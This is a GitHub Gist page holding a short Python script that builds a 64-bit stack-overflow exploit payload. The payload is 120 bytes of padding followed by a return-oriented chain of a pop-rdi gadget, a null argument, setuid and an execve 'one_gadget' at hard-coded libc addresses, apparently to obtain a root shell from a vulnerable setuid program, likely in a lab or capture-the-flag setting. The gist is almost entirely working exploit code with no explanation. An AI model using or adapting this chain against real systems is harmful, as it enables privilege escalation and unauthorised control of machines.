Created
March 7, 2018 20:04
-
-
Save ShivamShrirao/385d14cec691e67318e5d3587fcc11b7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from struct import pack | |
junk='A'*120 | |
setuid=pack("Q",0x7ffff7aceb50) #convert address to little endian for 64 bit | |
poprdi=pack("Q",0x7ffff7a15b8b) | |
null=pack("Q",0x0) #convert to little endian for 64 bit | |
onegadget=pack("Q",0x7ffff7af2b8e) #execve one_gadget | |
payload = junk + poprdi + null + setuid + onegadget | |
print payload |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment